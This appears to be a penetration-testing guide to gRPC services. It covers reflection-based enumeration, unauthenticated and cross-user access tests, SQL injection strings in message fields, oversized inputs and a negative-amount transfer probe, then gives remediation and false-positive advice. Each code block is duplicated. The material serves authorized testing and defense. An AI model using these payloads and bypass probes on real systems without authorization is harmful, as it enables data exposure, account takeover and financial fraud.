Exploitation A07

gRPC Security Testing

gRPC is a high-performance RPC framework using Protocol Buffers (protobuf) over HTTP/2. It's increasingly used for microservice communication and public APIs. gRPC services often lack the same security scrutiny as REST APIs, making them a valuable attack surface.

Information

gRPC traffic is binary (protobuf), not JSON — you need specialized tools. Burp Suite won't decode it by default. Use grpcurl, grpcui, or the Burp gRPC extension.

Service Discovery & Enumeration

bash
# Check if gRPC reflection is enabled (equivalent to auto-discovery):
grpcurl -plaintext target.com:50051 list
# Output: lists all available services

grpcurl -plaintext target.com:50051 describe
# Output: describes all services and their methods

# List methods for a specific service:
grpcurl -plaintext target.com:50051 list com.example.UserService
# Output:
# com.example.UserService.GetUser
# com.example.UserService.ListUsers
# com.example.UserService.CreateUser
# com.example.UserService.DeleteUser

# Describe a specific method (shows request/response types):
grpcurl -plaintext target.com:50051 describe com.example.UserService.GetUser

# If reflection is disabled, obtain .proto files:
# - Check for exposed .proto files on web servers
# - Extract from mobile app APK/IPA
# - Reverse engineer from captured traffic with protobuf-inspector
# Check if gRPC reflection is enabled (equivalent to auto-discovery):
grpcurl -plaintext target.com:50051 list
# Output: lists all available services

grpcurl -plaintext target.com:50051 describe
# Output: describes all services and their methods

# List methods for a specific service:
grpcurl -plaintext target.com:50051 list com.example.UserService
# Output:
# com.example.UserService.GetUser
# com.example.UserService.ListUsers
# com.example.UserService.CreateUser
# com.example.UserService.DeleteUser

# Describe a specific method (shows request/response types):
grpcurl -plaintext target.com:50051 describe com.example.UserService.GetUser

# If reflection is disabled, obtain .proto files:
# - Check for exposed .proto files on web servers
# - Extract from mobile app APK/IPA
# - Reverse engineer from captured traffic with protobuf-inspector

Authentication Testing

bash
# Call methods without authentication:
grpcurl -plaintext target.com:50051 \
  com.example.UserService/ListUsers
# If it returns data → no auth required!

# Test with stolen/expired tokens:
grpcurl -plaintext \
  -H 'Authorization: Bearer EXPIRED_TOKEN' \
  target.com:50051 com.example.UserService/ListUsers

# Test admin methods with regular user token:
grpcurl -plaintext \
  -H 'Authorization: Bearer REGULAR_USER_TOKEN' \
  -d '{"user_id": "admin"}' \
  target.com:50051 com.example.AdminService/GetConfig

# Test BOLA (change user_id to another user):
grpcurl -plaintext \
  -H 'Authorization: Bearer USER_A_TOKEN' \
  -d '{"user_id": "user_b_id"}' \
  target.com:50051 com.example.UserService/GetUser
# Call methods without authentication:
grpcurl -plaintext target.com:50051 \
  com.example.UserService/ListUsers
# If it returns data → no auth required!

# Test with stolen/expired tokens:
grpcurl -plaintext \
  -H 'Authorization: Bearer EXPIRED_TOKEN' \
  target.com:50051 com.example.UserService/ListUsers

# Test admin methods with regular user token:
grpcurl -plaintext \
  -H 'Authorization: Bearer REGULAR_USER_TOKEN' \
  -d '{"user_id": "admin"}' \
  target.com:50051 com.example.AdminService/GetConfig

# Test BOLA (change user_id to another user):
grpcurl -plaintext \
  -H 'Authorization: Bearer USER_A_TOKEN' \
  -d '{"user_id": "user_b_id"}' \
  target.com:50051 com.example.UserService/GetUser

Injection & Fuzzing

bash
# Inject SQL/NoSQL via gRPC message fields:
grpcurl -plaintext \
  -d '{"username": "admin\' OR 1=1 --", "password": "x"}' \
  target.com:50051 com.example.AuthService/Login

# Inject into search/filter fields:
grpcurl -plaintext \
  -d '{"query": "test\" OR \"1\"=\"1"}' \
  target.com:50051 com.example.SearchService/Search

# Test with oversized payloads:
python3 -c "import json; print(json.dumps({'name': 'A'*100000}))" | \
  grpcurl -plaintext -d @ target.com:50051 com.example.UserService/CreateUser

# Test with unexpected types (send string where number expected):
grpcurl -plaintext \
  -d '{"user_id": "not_a_number"}' \
  target.com:50051 com.example.UserService/GetUser

# Test with negative/zero values:
grpcurl -plaintext \
  -d '{"amount": -1000, "to_account": "attacker"}' \
  target.com:50051 com.example.PaymentService/Transfer
# Inject SQL/NoSQL via gRPC message fields:
grpcurl -plaintext \
  -d '{"username": "admin\' OR 1=1 --", "password": "x"}' \
  target.com:50051 com.example.AuthService/Login

# Inject into search/filter fields:
grpcurl -plaintext \
  -d '{"query": "test\" OR \"1\"=\"1"}' \
  target.com:50051 com.example.SearchService/Search

# Test with oversized payloads:
python3 -c "import json; print(json.dumps({'name': 'A'*100000}))" | \
  grpcurl -plaintext -d @ target.com:50051 com.example.UserService/CreateUser

# Test with unexpected types (send string where number expected):
grpcurl -plaintext \
  -d '{"user_id": "not_a_number"}' \
  target.com:50051 com.example.UserService/GetUser

# Test with negative/zero values:
grpcurl -plaintext \
  -d '{"amount": -1000, "to_account": "attacker"}' \
  target.com:50051 com.example.PaymentService/Transfer

Testing Checklist

  1. 1. Check if gRPC reflection is enabled (information disclosure)
  2. 2. Enumerate all services and methods
  3. 3. Test each method without authentication
  4. 4. Test authorization — can user A access user B's data?
  5. 5. Test injection in all string fields
  6. 6. Test for insecure transport (plaintext gRPC without TLS)
  7. 7. Test with grpcui for interactive exploration

Evidence Collection

Reflection Output: Full service listing showing exposed methods

Auth Bypass: grpcurl command and response showing unauthenticated access

CVSS Range: Reflection disclosure: 3.7–5.3 | Auth bypass: 8.1–9.8

Remediation

  • Disable reflection in production: Only enable gRPC reflection in development environments.
  • Enforce TLS: Always use TLS for gRPC transport (gRPC over HTTPS).
  • Auth on every RPC: Implement per-method authentication and authorization interceptors.
  • Input validation: Validate all protobuf message fields server-side.
  • Rate limiting: Apply rate limiting to gRPC methods (many gateway tools support this).

False Positive Identification

  • gRPC reflection enabled in dev: Server reflection is a development feature — confirm it's enabled in production before reporting.
  • Missing TLS on internal services: gRPC without TLS on internal networks may be a design choice if the network is trusted — note the risk but assess the network context.
  • Proto file in public repo: Proto definitions may be intentionally public (open-source projects) — check if the proto reveals non-public internal service methods.